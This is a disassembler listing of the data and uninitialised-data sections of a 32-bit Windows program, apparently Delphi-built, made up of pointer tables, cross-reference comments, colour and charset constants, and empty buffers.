off_4001A8C4	dd offset off_40006D30	; DATA XREF: .text:4000CB6Co
off_4001A8C8	dd offset off_40006D38	; DATA XREF: .text:4000CB60o
off_4001A8CC	dd offset off_40006D40	; DATA XREF: .text:4000CB54o
off_4001A8D0	dd offset off_40006D48	; DATA XREF: .text:4000CB48o
off_4001A8D4	dd offset off_40006D50	; DATA XREF: .text:4000CB3Co
off_4001A8D8	dd offset off_40006D58	; DATA XREF: .text:4000CB30o
off_4001A8DC	dd offset off_40006D60	; DATA XREF: .text:4000CB24o
off_4001A8E0	dd offset off_40006D68	; DATA XREF: .text:4000CB18o
off_4001A8E4	dd offset off_40006D70	; DATA XREF: sub_4000A91C+A9o
					; .text:4000CB0Co
off_4001A8E8	dd offset off_40006D78	; DATA XREF: .text:4000CB00o
off_4001A8EC	dd offset off_40006D80	; DATA XREF: .text:4000CAF4o
off_4001A8F0	dd offset off_40006D88	; DATA XREF: .text:4000CAE8o
off_4001A8F4	dd offset off_40006D90	; DATA XREF: .text:4000CADCo
off_4001A8F8	dd offset off_40006D98	; DATA XREF: .text:4000CAD0o
off_4001A8FC	dd offset off_40006DA0	; DATA XREF: .text:4000CAC4o
off_4001A900	dd offset off_40006DA8	; DATA XREF: sub_4000A91C+CEo
					; .text:4000CAB8o
off_4001A904	dd offset off_40006DB0	; DATA XREF: .text:4000CAACo
off_4001A908	dd offset off_40006DB8	; DATA XREF: .text:4000CAA0o
off_4001A90C	dd offset off_40006DC0	; DATA XREF: .text:4000CA94o
off_4001A910	dd offset off_40006DC8	; DATA XREF: .text:4000CA88o
off_4001A914	dd offset off_40006DD0	; DATA XREF: .text:4000CA7Co
off_4001A918	dd offset off_40006DD8	; DATA XREF: .text:4000CA70o
dword_4001A91C	dd 2							; sub_4000CC50+147o
dword_4001A920	dd 0A3A7F8h						; .text:4000CA64o
		dd 3
dword_4001A928	dd 0A3A7D8h, 4	dword_4001A930	dd 0A3A7B8h, 5	dword_4001A938	dd 0A3A798h	dword_4001A93C	dd 64h							; sub_4000B470+Dr ...
dword_4001A940	dd 0A41B08h, 65hdword_4001A948	dd 0A2C038h, 6Ahdword_4001A950	dd 0A41AE0h	off_4001A954	dd offset dword_400070B4 ; DATA	XREF: sub_4000CC50+15Co
dword_4001A958	dd 0A3A778h			dd offset dword_4000710C
dword_4001A960	dd 0A3A758h			dd offset dword_40007164
dword_4001A968	dd 0A3A738h			dd offset dword_40007218
dword_4001A970	dd 0A48DB8h			dd offset dword_40007270
dword_4001A978	dd 0A48D88h			dd offset dword_400072C8
dword_4001A980	dd 0A41AB8h			dd offset dword_40007320
dword_4001A988	dd 0A41A90h			dd offset dword_400073D4
dword_4001A990	dd 0A41A68h			dd offset dword_4000748C
dword_4001A998	dd 0A3A718h			dd offset dword_400074EC
dword_4001A9A0	dd 0A41A40h			dd offset dword_400075A0
dword_4001A9A8	dd 0A3A6F8h			dd offset dword_40007544
dword_4001A9B0	dd 0A3A6D8h			dd offset dword_400075F8
dword_4001A9B8	dd 0A48D58h			dd offset dword_400075F8
dword_4001A9C0	dd 0A41A18h			dd offset dword_400075F8
dword_4001A9C8	dd 0A48D28h			dd offset dword_400075F8
dword_4001A9D0	dd 0A333A0h			dd offset dword_400075F8
dword_4001A9D8	dd 0A3A6B8h			dd offset dword_400075F8
dword_4001A9E0	dd 0A33368h			dd offset dword_40007654
dword_4001A9E8	dd 0A3A698h			dd offset dword_40006FFC
dword_4001A9F0	dd 0A419F0h			dd offset dword_40007710
dword_4001A9F8	dd 0A419C8h			dd offset dword_400077C4
dword_4001AA00	dd 0A48CF8h	dword_4001AA04	dd 0		dword_4001AA08	dd 80070057h						; sub_4000CEB8+3Dr ...
		align 10h
byte_4001AA10	db 1			; DATA XREF: sub_4000E9CC+9Fr
					; sub_4000ED90:loc_4000EE21r ...
		db 8Dh,	40h, 0
dword_4001AA14	dd 0							; sub_40011DFC+B1r ...
byte_4001AA18	db 0			; DATA XREF: sub_4001145C+43r
		db 8Dh,	40h, 0
dword_4001AA1C	dd 0FFFFFFFFh						; sub_40012C6C+3Er ...
off_4001AA20	dd offset aEmpty	; DATA XREF: sub_4001293C+38r
					; sub_40012E54+3Co
					; "Empty"
		dd offset dword_400127EC+8
		dd offset dword_400127FC+8
		dd offset dword_40012810+8
		dd offset dword_40012810+18h
		dd offset dword_40012810+28h
		dd offset dword_40012810+38h
		dd offset dword_40012854+8
		dd offset dword_40012864+8
		dd offset dword_40012864+18h
		dd offset dword_40012888+8
		dd offset dword_40012888+18h
		dd offset dword_40012888+28h
		dd offset dword_40012888+38h
		dd offset dword_40012888+48h
		dd offset dword_40012888+58h
		dd offset dword_40012888+64h
		dd offset dword_400128F8+8
		dd offset dword_40012908+8
		dd offset dword_40012918+8
		dd offset dword_4001292C+8
dword_4001AA74	dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101hoff_4001AA88	dd offset aFalse_0	; DATA XREF: sub_40012F38+19o
					; "False"
		dd offset dword_40012F1C+8
off_4001AA90	dd offset dword_40012F34 ; DATA	XREF: sub_40012F38+2Eo
dword_4001AA94	dd 0		off_4001AA98	dd offset dword_40013F94 ; DATA	XREF: sub_40013FA4+19o
		dd offset dword_40013F94+0Ch
off_4001AAA0	dd offset dword_40014730 ; DATA	XREF: sub_40014740+19o
		dd offset dword_40014730+0Ch
		dd 0
		dd 0FFFFFFF5h
		dd 0
		db 2 dup(0)
byte_4001AAB6	db 1			; DATA XREF: sub_40014F60+7r
					; sub_40014F8C+C4r ...
byte_4001AAB7	db 6			; DATA XREF: sub_40014F60+Fo
					; sub_40014F8C+13Eo ...
aTahomasSerif	db 'Tahomas Serif',0
		align 4
		dd 4 dup(0)
dword_4001AAD8	dd 0							; sub_40014D7C+2o ...
		dd offset dword_4001491C+8
		dd 80h
		dd offset dword_4001491C+18h
		dd 8000h
		dd offset dword_40014940+8
		dd 8080h
		dd offset dword_40014940+18h
		dd 800000h
		dd offset dword_40014940+28h
		dd 800080h
		dd offset dword_40014940+38h
		dd 808000h
		dd offset dword_40014984+8
		dd 808080h
		dd offset dword_40014984+18h
		dd 0C0C0C0h
		dd offset dword_40014984+28h
		dd 0FFh
		dd offset dword_400149B8+8
		dd 0FF00h
		dd offset dword_400149B8+18h
		dd 0FFFFh
		dd offset dword_400149B8+28h
		dd 0FF0000h
		dd offset dword_400149EC+8
		dd 0FF00FFh
		dd offset dword_400149EC+18h
		dd 0FFFF00h
		dd offset dword_400149EC+2Ch
		dd 0FFFFFFh
		dd offset dword_400149EC+3Ch
		dd 0C0DCC0h
		dd offset dword_400149EC+4Ch
		dd 0F0CAA6h
		dd offset dword_40014A48+8
		dd 0F0FBFFh
		dd offset dword_40014A48+1Ch
		dd 0A4A0A0h
		dd offset dword_40014A48+2Ch
		dd 0FF00000Ah
		dd offset dword_40014A48+40h
		dd 0FF000002h
		dd offset dword_40014A48+58h
		dd 0FF00000Ch
		dd offset dword_40014A48+70h
		dd 0FF000001h
		dd offset dword_40014A48+88h
		dd 0FF00000Fh
		dd offset dword_40014AE0+8
		dd 0FF000014h
		dd offset dword_40014AE0+1Ch
		dd 0FF000010h
		dd offset dword_40014AE0+34h
		dd 0FF000012h
		dd offset dword_40014AE0+48h
		dd 0FF000009h
		dd offset dword_40014AE0+5Ch
		dd 20000000h
		dd offset dword_40014AE0+74h
		dd 0FF00001Bh
		dd offset dword_40014AE0+88h
		dd 0FF00001Ch
		dd offset dword_40014AE0+0A8h
		dd 0FF000011h
		dd offset dword_40014AE0+0CCh
		dd 0FF00000Dh
		dd offset dword_40014AE0+0E0h
		dd 0FF00000Eh
		dd offset dword_40014AE0+0F4h
		dd 0FF00001Ah
		dd offset dword_40014AE0+10Ch
		dd 0FF00000Bh
		dd offset dword_40014AE0+120h
		dd 0FF000003h
		dd offset dword_40014C14+8
		dd 0FF000013h
		dd offset dword_40014C14+24h
		dd 0FF000018h
		dd offset dword_40014C14+44h
		dd 0FF000017h
		dd offset dword_40014C64+8
		dd 0FF000004h
		dd offset dword_40014C64+1Ch
		dd 0FF00001Eh
		dd offset dword_40014C64+2Ch
		dd 0FF00001Dh
		dd offset dword_40014C64+40h
		dd 0FF000007h
		dd offset dword_40014C64+58h
		dd 1FFFFFFFh
		dd offset dword_40014C64+6Ch
		dd 0FF000000h
		dd offset dword_40014C64+7Ch
		dd 0FF000015h
		dd offset dword_40014C64+90h
		dd 0FF000016h
		dd offset dword_40014D04+8
		dd 0FF000005h
		dd offset dword_40014D04+1Ch
		dd 0FF000006h
		dd offset dword_40014D2C+8
		dd 0FF000008h
		dd offset dword_40014D2C+20h
dword_4001AC78	dd 0							; .text:40014F52o ...
		dd offset dword_40014D8C+8
		dd 1
		dd offset dword_40014DA4+8
		dd 2
		dd offset dword_40014DA4+20h
		dd 4Dh
		dd offset dword_40014DA4+38h
		dd 80h
		dd offset dword_40014DA4+4Ch
		dd 81h
		dd offset dword_40014E04+8
		dd 82h
		dd offset dword_40014E04+20h
		dd 86h
		dd offset dword_40014E04+38h
		dd 88h
		dd offset dword_40014E04+50h
		dd 0A1h
		dd offset dword_40014E04+6Ch
		dd 0A2h
		dd offset dword_40014E04+84h
		dd 0B1h
		dd offset dword_40014E04+9Ch
		dd 0B2h
		dd offset dword_40014E04+0B4h
		dd 0BAh
		dd offset dword_40014E04+0CCh
		dd 0CCh
		dd offset dword_40014E04+0E4h
		dd 0DEh
		dd offset dword_40014E04+0FCh
		dd 0EEh
		dd offset aEasteurope_cha ; "EASTEUROPE_CHARSET"
		dd 0FFh
		dd offset dword_40014F2C+8
word_4001AD08	dw 0			; DATA XREF: sub_400151D0+3Dr
		dw 1
		dd 30002h, 50004h, 70006h, 0C08B0008h
word_4001AD1C	dw 1			; DATA XREF: sub_400155D0+1Cr
		dw 10h
		dd 6000Bh, 4000Dh, 5000Eh, 3000Ch, 2000Fh, 80009h, 0A0007h
dword_4001AD3C	dd 0		dword_4001AD40	dd 0		dword_4001AD44	dd 0A41C68h						; sub_40015794:loc_40015827r ...
		dd 0
		dd 80h,	8000h, 8080h, 800000h, 800080h,	808000h, 808080h
		dd 0C0C0C0h, 0FFh, 0FF00h, 0FFFFh, 0FF0000h, 0FF00FFh
		dd 0FFFF00h, 0FFFFFFh
dword_4001AD88	dd 774FFA6Bh	dword_4001AD8C	dd 774FEF6Bh						; sub_40016A34+18r ...
dword_4001AD90	dd 77596178h	dword_4001AD94	dd 77596182h	dword_4001AD98	dd 775274DCh	dword_4001AD9C	dd 77527567h	dword_4001ADA0	dd 0FFFFFFFFh						; sub_40016A34+21r ...
dword_4001ADA4	dd 0				dd offset dword_40015E44+14h
		dd offset dword_40015E44+28h
		dd offset dword_40015E74+8
		dd offset dword_40015E84+8
dword_4001ADB8	dd 40h dup(0)	off_4001AEB8	dd offset off_40006CC8	; DATA XREF: .text:4000CC0Co
off_4001AEBC	dd offset off_40006BE8	; DATA XREF: .text:4000C9C0o
					; sub_4000E0EC+16r
off_4001AEC0	dd offset off_40006C30	; DATA XREF: sub_4000DBF4+56r
off_4001AEC4	dd offset off_40006B30	; DATA XREF: .text:4000CA58o
off_4001AEC8	dd offset off_40006D18	; DATA XREF: .text:4000CB94o
off_4001AECC	dd offset off_40006D58	; DATA XREF: .text:4000CB34o
off_4001AED0	dd offset off_40006DC0	; DATA XREF: .text:4000CA98o
off_4001AED4	dd offset byte_4001C038	; DATA XREF: .itext:400193CBr
off_4001AED8	dd offset off_40006CE8	; DATA XREF: .text:4000CBDCo
off_4001AEDC	dd offset off_4001C02C	; DATA XREF: sub_4000B72C+79r
off_4001AEE0	dd offset off_40006C68	; DATA XREF: sub_4000B654+71r
					; .text:4000C998o
off_4001AEE4	dd offset off_4001A014	; DATA XREF: sub_40019144+5Ar
off_4001AEE8	dd offset off_40006DD0	; DATA XREF: .text:4000CA80o
off_4001AEEC	dd offset off_4001C008	; DATA XREF: sub_4000B72C+2Er
					; sub_4000B7B0:loc_4000B7F6r
off_4001AEF0	dd offset off_40006DA8	; DATA XREF: .text:4000CABCo
off_4001AEF4	dd offset off_40006CD0	; DATA XREF: .text:4000CC00o
off_4001AEF8	dd offset off_4001C000	; DATA XREF: sub_40016AB0+33r
					; .itext:400193B3r
off_4001AEFC	dd offset off_40006C60	; DATA XREF: sub_4000DDD4+1ADr
off_4001AF00	dd offset off_40006C40	; DATA XREF: sub_4000DDD4+CCr
off_4001AF04	dd offset dword_4001F274 ; DATA	XREF: sub_400113EC+1Br
off_4001AF08	dd offset off_40015D08	; DATA XREF: sub_40015EE4+5Ar
off_4001AF0C	dd offset off_40006B48	; DATA XREF: .text:4000CA40o
off_4001AF10	dd offset off_40006DB0	; DATA XREF: .text:4000CAB0o
off_4001AF14	dd offset off_40006D90	; DATA XREF: .text:4000CAE0o
off_4001AF18	dd offset off_40006DB8	; DATA XREF: .text:4000CAA4o
off_4001AF1C	dd offset off_4001C01C	; DATA XREF: sub_4000B72C+44r
					; sub_4000B7B0+58r
off_4001AF20	dd offset byte_4001C04D	; DATA XREF: sub_40016A34+3Cr
					; sub_40016A34:loc_40016A92r
off_4001AF24	dd offset off_40006B18	; DATA XREF: sub_4000B230+44r
off_4001AF28	dd offset off_40006BD0	; DATA XREF: sub_4000AF68+83r
off_4001AF2C	dd offset off_40006B10	; DATA XREF: sub_4000B72Cr
					; sub_4000DDD4+164r
off_4001AF30	dd offset off_40006CF0	; DATA XREF: .text:4000CBD0o
off_4001AF34	dd offset off_40006B50	; DATA XREF: .text:4000CA38o
off_4001AF38	dd offset off_40006BD8	; DATA XREF: .text:4000CC48o
off_4001AF3C	dd offset dword_4001F268 ; DATA	XREF: sub_40010874+3Br
off_4001AF40	dd offset off_40006C90	; DATA XREF: sub_4000B3D8r
off_4001AF44	dd offset off_40006C48	; DATA XREF: .text:4000C9B0o
					; sub_4000DDD4+18Ar
off_4001AF48	dd offset off_40006D40	; DATA XREF: .text:4000CB58o
off_4001AF4C	dd offset dword_4001C21C ; DATA	XREF: sub_4000AF68+1Er
off_4001AF50	dd offset off_40006D60	; DATA XREF: .text:4000CB28o
off_4001AF54	dd offset off_4001C00C	; DATA XREF: sub_4000B72C+51r
					; sub_4000B7B0+61r
off_4001AF58	dd offset off_40006D20	; DATA XREF: .text:4000CB88o
off_4001AF5C	dd offset off_4001C004	; DATA XREF: sub_4000B72C+39r
					; sub_4000B7B0+4Fr
off_4001AF60	dd offset off_4001C010	; DATA XREF: sub_4000B72C+5Cr
					; sub_4000B7B0+6Ar
off_4001AF64	dd offset off_40015D20	; DATA XREF: sub_40016280+4Cr
					; sub_400166E8+1Ar
off_4001AF68	dd offset off_40013F84	; DATA XREF: sub_4001552C+2Er
off_4001AF6C	dd offset off_40006D68	; DATA XREF: .text:4000CB1Co
off_4001AF70	dd offset off_40006BB0	; DATA XREF: .text:4000C9D8o
off_4001AF74	dd offset off_40006BA8	; DATA XREF: .text:4000C9F0o
off_4001AF78	dd offset off_40006BB8	; DATA XREF: .text:4000C9E0o
off_4001AF7C	dd offset off_40012EDC	; DATA XREF: sub_400140B4+11r
off_4001AF80	dd offset off_40006DA0	; DATA XREF: .text:4000CAC8o
off_4001AF84	dd offset off_40006B20	; DATA XREF: .text:4000CA68o
off_4001AF88	dd offset off_40006B68	; DATA XREF: .text:4000CA20o
off_4001AF8C	dd offset off_40006BE0	; DATA XREF: .text:4000CC3Co
off_4001AF90	dd offset off_40012ED4	; DATA XREF: sub_40013A1C+51r
off_4001AF94	dd offset off_40006C00	; DATA XREF: .text:4000C9B8o
					; sub_4000DD80+16r
off_4001AF98	dd offset off_40006C28	; DATA XREF: sub_4000DDD4+1FFr
off_4001AF9C	dd offset off_40006D10	; DATA XREF: .text:4000CBA0o
off_4001AFA0	dd offset off_40012EEC	; DATA XREF: sub_400138D4:loc_400138E8r
off_4001AFA4	dd offset off_40006C78	; DATA XREF: .text:4000C990o
off_4001AFA8	dd offset dword_4001A7CC ; DATA	XREF: sub_40016280+2A2r
					; sub_400165F0+ADr
off_4001AFAC	dd offset off_40012ECC	; DATA XREF: sub_40013B54+89r
off_4001AFB0	dd offset off_40006D38	; DATA XREF: .text:4000CB64o
off_4001AFB4	dd offset off_40006C20	; DATA XREF: .text:4000C9C8o
					; sub_4000DC90+16r
off_4001AFB8	dd offset off_4001C044	; DATA XREF: .itext:400193D5r
					; .itext:400193E1r
off_4001AFBC	dd offset off_40006D28	; DATA XREF: .text:4000CB7Co
off_4001AFC0	dd offset dword_4001F270 ; DATA	XREF: sub_4000FCA4+33r
off_4001AFC4	dd offset off_40006D48	; DATA XREF: .text:4000CB4Co
off_4001AFC8	dd offset dword_4001F278 ; DATA	XREF: sub_40011424+1Br
off_4001AFCC	dd offset off_40012F04	; DATA XREF: sub_4001464C+48r
off_4001AFD0	dd offset off_4001A010	; DATA XREF: sub_40019144+4Dr
off_4001AFD4	dd offset off_40006C18	; DATA XREF: .text:4000C9D0o
					; sub_4000DBA0+16r
off_4001AFD8	dd offset off_40006CB8	; DATA XREF: .text:4000CC24o
off_4001AFDC	dd offset off_40006CF8	; DATA XREF: .text:4000CBC4o
off_4001AFE0	dd offset off_40006D88	; DATA XREF: .text:4000CAECo
off_4001AFE4	dd offset off_40012EE4	; DATA XREF: sub_40013898:loc_400138ABr
off_4001AFE8	dd offset off_40006B40	; DATA XREF: .text:4000CA48o
off_4001AFEC	dd offset off_40006B80	; DATA XREF: .text:4000CA08o
off_4001AFF0	dd offset dword_4001F264 ; DATA	XREF: sub_4000F6A8+7Er
					; sub_400101AC+38r
off_4001AFF4	dd offset off_40006C58	; DATA XREF: sub_4000DDD4+13Er
off_4001AFF8	dd offset off_40006D30	; DATA XREF: .text:4000CB70o
off_4001AFFC	dd offset off_40006B90	; DATA XREF: sub_4000B72C+17r
off_4001B000	dd offset off_40006D98	; DATA XREF: .text:4000CAD4o
off_4001B004	dd offset off_40006B88	; DATA XREF: .text:4000CA00o
off_4001B008	dd offset off_40006D70	; DATA XREF: .text:4000CB10o
off_4001B00C	dd offset off_4001C024	; DATA XREF: sub_4000B72C+6Cr
					; sub_4000B7B0+73r
off_4001B010	dd offset off_40006C80	; DATA XREF: .text:4000C988o
off_4001B014	dd offset off_40006C38	; DATA XREF: sub_4000DCE4+56r
off_4001B018	dd offset off_4001A018	; DATA XREF: sub_40019144+67r
off_4001B01C	dd offset off_40006BF8	; DATA XREF: sub_4000B488+54r
off_4001B020	dd offset off_40006BA0	; DATA XREF: sub_4000B488+16Cr
off_4001B024	dd offset off_4001A020	; DATA XREF: sub_40019144+81r
off_4001B028	dd offset off_40006DC8	; DATA XREF: .text:4000CA8Co
off_4001B02C	dd offset off_4001F294	; DATA XREF: sub_40016AB0+3Cr
					; .itext:400193ABr
off_4001B030	dd offset off_40006CA0	; DATA XREF: sub_4000C41C+41r
off_4001B034	dd offset off_40006B38	; DATA XREF: .text:4000CA50o
off_4001B038	dd offset off_40006C70	; DATA XREF: sub_4000B300+38r
					; .text:4000C9A0o
off_4001B03C	dd offset off_40006D50	; DATA XREF: .text:4000CB40o
off_4001B040	dd offset off_40006D78	; DATA XREF: .text:4000CB04o
off_4001B044	dd offset off_40015D10	; DATA XREF: sub_400165BC+19r
off_4001B048	dd offset byte_4001C04C	; DATA XREF: sub_4000AF68+14r
off_4001B04C	dd offset off_40006D80	; DATA XREF: .text:4000CAF8o
off_4001B050	dd offset off_40006C08	; DATA XREF: .text:4000C9A8o
					; sub_4000DDD4+F2r
off_4001B054	dd offset off_4001C020	; DATA XREF: sub_40016AB0+2Ar
					; .itext:400193C3r
off_4001B058	dd offset dword_4001F27C ; DATA	XREF: sub_4001145C+2Dr
off_4001B05C	dd offset off_40012EF4	; DATA XREF: sub_40013708:loc_40013718r
					; sub_400137FC:loc_4001380Br
off_4001B060	dd offset off_40006C98	; DATA XREF: sub_4000B488+110r
off_4001B064	dd offset dword_4001F228 ; DATA	XREF: sub_4000E8E0+31r
					; sub_4000E8E0+5Dr ...
off_4001B068	dd offset off_40006CE0	; DATA XREF: .text:4000CBE8o
off_4001B06C	dd offset off_40006C88	; DATA XREF: sub_4000B300+63r
off_4001B070	dd offset off_40006D00	; DATA XREF: .text:4000CBB8o
off_4001B074	dd offset off_4001A038	; DATA XREF: sub_4000C230+7r
off_4001B078	dd offset off_40006DD8	; DATA XREF: .text:4000CA74o
off_4001B07C	dd offset off_40015D18	; DATA XREF: sub_400166D0r
off_4001B080	dd offset off_40006CC0	; DATA XREF: .text:4000CC18o
off_4001B084	dd offset off_40006B28	; DATA XREF: .text:4000CA60o
off_4001B088	dd offset off_40006BC0	; DATA XREF: .text:4000C9E8o
off_4001B08C	dd offset off_40006B60	; DATA XREF: .text:4000CA28o
off_4001B090	dd offset off_40006C50	; DATA XREF: sub_4000DDD4+9Cr
off_4001B094	dd offset off_40006B58	; DATA XREF: .text:4000CA30o
off_4001B098	dd offset off_40006D08	; DATA XREF: .text:4000CBACo
off_4001B09C	dd offset off_4001A84C	; DATA XREF: sub_4000DDD4:loc_4000DFA1r
					; sub_4001293C+D8r
off_4001B0A0	dd offset dword_4001F26C ; DATA	XREF: sub_40010E0C+38r
off_4001B0A4	dd offset off_40006CA8	; DATA XREF: sub_4000C41C:loc_4000C473r
off_4001B0A8	dd offset off_40006B70	; DATA XREF: .text:4000CA18o
off_4001B0AC	dd offset off_40006CB0	; DATA XREF: .text:4000CC30o
off_4001B0B0	dd offset dword_4001F25C ; DATA	XREF: sub_4000EBF8+33r
					; sub_4000F6A8+56r
off_4001B0B4	dd offset off_4001A01C	; DATA XREF: sub_400082E4+1r
					; sub_400082E4+Cr ...
off_4001B0B8	dd offset off_40006BC8	; DATA XREF: sub_4000ADE0+DEr
off_4001B0BC	dd offset off_40006B98	; DATA XREF: .text:4000C9F8o
off_4001B0C0	dd offset off_40006C10	; DATA XREF: sub_4000DDD4+118r
off_4001B0C4	dd offset off_40006B78	; DATA XREF: .text:4000CA10o
off_4001B0C8	dd offset dword_4001A7E4 ; DATA	XREF: sub_40014F8C:loc_400150FAr
off_4001B0CC	dd offset off_40006BF0	; DATA XREF: sub_4000B488+45r
off_4001B0D0	dd offset off_40006CD8	; DATA XREF: .text:4000CBF4o
off_4001B0D4	dd offset off_40012EFC	; DATA XREF: sub_400146B4+41r
_data		ends

; Section 4. (virtual address 0001C000)
; Virtual size			: 00007E54 (  32340.)
; Section size in file		: 00007E54 (  32340.)
; Offset to raw	data for section: 0001C000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_bss		segment	para public '' use32
		assume cs:_bss
		;org 4001C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_4001C000	dd offset sub_40016958	; DATA XREF: .itext:40019034w
					; .data:off_4001AEF8o
off_4001C004	dd offset sub_4000B71C	; DATA XREF: .text:400044AAr
					; .data:off_4001AF5Co
off_4001C008	dd offset sub_4000B2B0	; DATA XREF: sub_40002D04+9r
					; sub_40002D04+16r ...
off_4001C00C	dd offset sub_4000B470	; DATA XREF: .data:off_4001AF54o
off_4001C010	dd offset sub_4000B654	; DATA XREF: sub_400040D8+25r
					; .text:40004488r ...
off_4001C014	dd offset sub_40001168	; DATA XREF: sub_40003FE8+14r
					; sub_40004004+16r ...
off_4001C018	dd offset sub_40001178	; DATA XREF: sub_400040D8+D2r
					; .text:40004470r ...
off_4001C01C	dd offset dword_40006E2C ; DATA	XREF: .data:off_4001AF1Co
off_4001C020	dd offset sub_40016180	; DATA XREF: .data:off_4001B054o
off_4001C024	dd offset sub_4000B3BC	; DATA XREF: .data:off_4001B00Co
dword_4001C028	dd 0							; sub_40004790+B4r
off_4001C02C	dd offset sub_4000B3D8	; DATA XREF: sub_400030B4r
					; sub_400030B4+9r ...
dword_4001C030	dd 40000000h	dword_4001C034	dd 6C8h		byte_4001C038	db 0			; DATA XREF: sub_400045E4+33w
					; .data:off_4001AED4o
		align 4
dword_4001C03C	dd 0Ah		dword_4001C040	dd 142340h	off_4001C044	dd offset sub_40016A34	; DATA XREF: .data:off_4001AFB8o
dword_4001C048	dd 0		byte_4001C04C	db 0			; DATA XREF: sub_40004704+1r
					; .data:off_4001B048o
byte_4001C04D	db 0			; DATA XREF: sub_40001654r
					; sub_40001734+Cr ...
byte_4001C04E	db 2			; DATA XREF: .itext:4001902Dw
		align 10h
dword_4001C050	dd 0							; sub_40006350+19o
word_4001C054	dw 0D7B0h		; DATA XREF: .itext:40019051w
		align 4
		dd 71h dup(0)
dword_4001C21C	dd 0							; sub_40004704+1Eo ...
word_4001C220	dw 0D7B0h		; DATA XREF: sub_40004704+Ar
					; .itext:4001905Aw
		align 8
dword_4001C228	dd 0				dd 3 dup(0)
dword_4001C238	dd 0				dd 6Bh dup(0)
dword_4001C3E8	dd 0							; sub_40003390+26o ...
word_4001C3EC	dw 0D7B0h		; DATA XREF: .itext:40019063w
		align 10h
		dd 71h dup(0)
byte_4001C5B4	db 0			; DATA XREF: sub_40002BB4:loc_40002BCFr
		align 4
dword_4001C5B8	dd 0FFFFFFFFh						; .itext:loc_40019000w
dword_4001C5BC	dd 4E4h							; sub_400049C4+Cr ...
byte_4001C5C0	db 0			; DATA XREF: sub_40001734+1Ar
					; sub_400029B8:loc_400029E1w
		align 2
		dw 804h
		dd 1814100Ch, 2824201Ch, 3834302Ch, 4844403Ch, 50504C4Ch
		dd 58585454h, 60605C5Ch, 68686464h, 70706C6Ch, 74747474h
		dd 78787878h, 7C7C7C7Ch, 80808080h, 84848484h, 88888888h
		dd 8C8C8888h, 8C8C8C8Ch, 90909090h, 94949090h, 94949494h
		dd 2 dup(98989898h), 2 dup(9C9C9C9Ch), 2 dup(0A0A0A0A0h)
		dd 0A4A4A0A0h, 2 dup(0A4A4A4A4h), 3 dup(0A8A8A8A8h), 3 dup(0ACACACACh)
		dd 3 dup(0B0B0B0B0h), 0B4B4B0B0h, 3 dup(0B4B4B4B4h), 4 dup(0B8B8B8B8h)
		dd 4 dup(0BCBCBCBCh), 0C0C0BCBCh, 4 dup(0C0C0C0C0h), 0C4C4C0C0h
		dd 5 dup(0C4C4C4C4h), 6	dup(0C8C8C8C8h), 6 dup(0CCCCCCCCh)
		dd 0D0D0CCCCh, 6 dup(0D0D0D0D0h)
		db 2 dup(0D0h)
byte_4001C706	db 0			; DATA XREF: sub_400029B8:loc_400029C3r
		align 4
dword_4001C708	dd 910000h						; sub_40002540:loc_4000261Fo ...
dword_4001C70C	dd 910000h						; sub_400015DC+2Dw ...
		dd 2 dup(0)
byte_4001C718	db 0			; DATA XREF: sub_40001734+DCw
					; sub_40001734+F2w ...
		align 4
dword_4001C71C	dd 955100h						; sub_40001570+51r ...
dword_4001C720	dd 450F0h						; sub_40001570+1Br ...
dword_4001C724	dd 20008h						; sub_40001510+59w ...
dword_4001C728	dd 0							; sub_40001510+49w ...
		dd 2 dup(0)
		dd 100h, 0Dh dup(0)
		dd 20000h, 0Eh dup(0)
off_4001C7A8	dd offset off_4001C7A8	; DATA XREF: sub_400014D0:loc_400014E0o
					; sub_40001510+19o ...
		dd offset off_4001C7A8
off_4001C7B0	dd offset off_4001C7B0	; DATA XREF: .bss:off_4001C7B0o
					; .bss:4001C7B4o
		dd offset off_4001C7B0
off_4001C7B8	dd offset off_4001C7B8	; DATA XREF: .bss:off_4001C7B8o
					; .bss:4001C7BCo
		dd offset off_4001C7B8
off_4001C7C0	dd offset off_4001C7C0	; DATA XREF: .bss:off_4001C7C0o
					; .bss:4001C7C4o
		dd offset off_4001C7C0
off_4001C7C8	dd offset off_4001C7C8	; DATA XREF: .bss:off_4001C7C8o
					; .bss:4001C7CCo
		dd offset off_4001C7C8
off_4001C7D0	dd offset off_4001C7D0	; DATA XREF: .bss:off_4001C7D0o
					; .bss:4001C7D4o
		dd offset off_4001C7D0
off_4001C7D8	dd offset off_4001C7D8	; DATA XREF: .bss:off_4001C7D8o
					; .bss:4001C7DCo
		dd offset off_4001C7D8
off_4001C7E0	dd offset off_4001C7E0	; DATA XREF: .bss:off_4001C7E0o
					; .bss:4001C7E4o
		dd offset off_4001C7E0
off_4001C7E8	dd offset off_4001C7E8	; DATA XREF: .bss:off_4001C7E8o
					; .bss:4001C7ECo
		dd offset off_4001C7E8
off_4001C7F0	dd offset off_4001C7F0	; DATA XREF: .bss:off_4001C7F0o
					; .bss:4001C7F4o
		dd offset off_4001C7F0
off_4001C7F8	dd offset off_4001C7F8	; DATA XREF: .bss:off_4001C7F8o
					; .bss:4001C7FCo
		dd offset off_4001C7F8
off_4001C800	dd offset off_4001C800	; DATA XREF: .bss:off_4001C800o
					; .bss:4001C804o
		dd offset off_4001C800
off_4001C808	dd offset off_4001C808	; DATA XREF: .bss:off_4001C808o
					; .bss:4001C80Co
		dd offset off_4001C808
off_4001C810	dd offset off_4001C810	; DATA XREF: .bss:off_4001C810o
					; .bss:4001C814o
		dd offset off_4001C810
off_4001C818	dd offset off_4001C818	; DATA XREF: .bss:off_4001C818o
					; .bss:4001C81Co
		dd offset off_4001C818
off_4001C820	dd offset off_4001C820	; DATA XREF: .bss:off_4001C820o
					; .bss:4001C824o
		dd offset off_4001C820
off_4001C828	dd offset off_4001C828	; DATA XREF: .bss:off_4001C828o
					; .bss:4001C82Co
		dd offset off_4001C828
off_4001C830	dd offset off_4001C830	; DATA XREF: .bss:off_4001C830o
					; .bss:4001C834o
		dd offset off_4001C830
off_4001C838	dd offset off_4001C838	; DATA XREF: .bss:off_4001C838o
					; .bss:4001C83Co
		dd offset off_4001C838
off_4001C840	dd offset off_4001C840	; DATA XREF: .bss:off_4001C840o
					; .bss:4001C844o
		dd offset off_4001C840
off_4001C848	dd offset off_4001C848	; DATA XREF: .bss:off_4001C848o
					; .bss:4001C84Co
		dd offset off_4001C848
